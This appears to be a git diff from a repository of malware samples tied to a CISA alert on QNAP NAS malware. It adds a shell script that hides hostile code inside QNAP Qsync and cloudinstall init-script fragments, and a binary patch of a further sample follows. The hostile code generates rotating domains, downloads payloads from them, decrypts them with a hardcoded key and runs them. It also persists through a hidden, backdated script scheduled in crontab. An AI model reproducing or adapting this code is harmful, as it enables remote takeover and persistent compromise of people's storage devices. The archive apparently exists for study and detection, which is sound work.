CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + exit 1 +esac +exit 0 + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +grep -F '' </dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } + +EOF +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJog4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.config" || mkdir "${bdir}/.qpkg/.config" +cd "${bdir}/.qpkg/.config" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if [ $_qsyncd_pid -ge 0 ]; then + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + /bin/kill -SIGUSR1 $_qsyncd_pid + fi + j=0 + while [ ${j} -lt 500 ] + do + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ -z $_qsyncd_run_pid ]; then + return 0 + fi + usleep 20000 + j=`/usr/bin/expr ${j} + 20` + done + return -62 + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + return 0 +} + + +install() +{ + lock_file="/var/lock/qbox_install_bin.lck" + + if [ ! -f "${INSTALL_BUILD_IN}" ]; then + dbg "build-in ${QSYNC_NAME} is installed" + return 1 + fi + + if [ ! -f ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin ]; then + dbg "${QSYNC_NAME}.bin} not found" + return 1 + fi + + if [ ! -x "${QPKG_CLI}" ]; then + dbg "${QPKG_CLI} not found" + return 1 + fi + + ## make sure volume is exist + if [ ! -d /share/`/sbin/getcfg SHARE_DEF defPublic -d Public -f /etc/config/def_share.info` ]; then + dbg "/share/Public not found" + return 1 + fi + + ## is removed + if [ -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed ]; then + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "${QSYNC_NAME} is removed" + return 1 + fi + + if [ -f "$lock_file" ]; then + if [ $(( $(date +%s) - $(date +%s -r $lock_file) )) -le 180 ]; then + echo "${QSYNC_NAME} is installing" + dbg "${QSYNC_NAME} is installing" + return 1 + fi + fi + + /bin/touch "$lock_file" + /bin/rm -f ${INSTALL_BUILD_IN} + dbg "install build-in ${QSYNC_NAME} start" + + set_default_disable_status + + ## install build in Qsync + ${QPKG_CLI} -K -m ${UPDATEPKG_DIR}/${QSYNC_NAME}.bin > /dev/null 2>&1 + sleep 20 + + wait_install=60 + ## avoid initial take long time or fail + while [ "$wait_install" -gt 0 ]; do + stcode=`$CMD_GETCFG ${QSYNC_NAME}.bin stcode -f /etc/config/qpkg_job.conf` + if [ "$stcode" = "0" ]; then + break + fi + sleep 1 + let "wait_install--" + done + + ${QPKG_CLI} -C ${QSYNC_NAME}.bin > /dev/null 2>&1 + /bin/rm -f ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled + /bin/rm -f "$lock_file" + dbg "install build-in ${QSYNC_NAME} success" +} + +if [ "$1" == "stop" ]; then + exit 0 +fi +fi +XEOF +fi +chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" +touch -cr /bin/busybox "${bdir}/.qpkg/.config/backup_conf.sh" + +if ! $fgrep "${bdir}/.qpkg/.config/backup_conf.sh" "${confdir}"/crontab; then +cronmins=$(printf '%i' "$(( $RANDOM % 60 ))") +cronhour=$(printf '%i' "$(( $RANDOM % 24 ))") +cronhour=$(printf '%i,' "$(( ( $cronhour + 8 ) % 24 ))" "$(( ( $cronhour + 16 ) % 24 ))")"$cronhour" +echo "$cronmins $cronhour"' * * * '"${bdir}/.qpkg/.config/backup_conf.sh"' >/dev/null 2>/dev/null' >> "${confdir}"/crontab +fi +test ! -x "${bdir}/.qpkg/.config/backup_conf.sh" && chmod 755 "${bdir}/.qpkg/.config/backup_conf.sh" +( ( exec >/dev/null 2>&1 /dev/null 2>/dev/null & ) & ) +exit 0 diff --git a/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b b/2020/2020-07-27_CISA-Legacy_Malware_Targeting_QNAP_NAS/18a4f2e7847a2c4e3c9a949cc610044bde319184ef1f4d23a8053e5087ab641b new file mode 100644 index 0000000000000000000000000000000000000000..54dbe2410f623ad9088b3696759bfaf09f8f04d4 GIT binary patch literal 15856 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 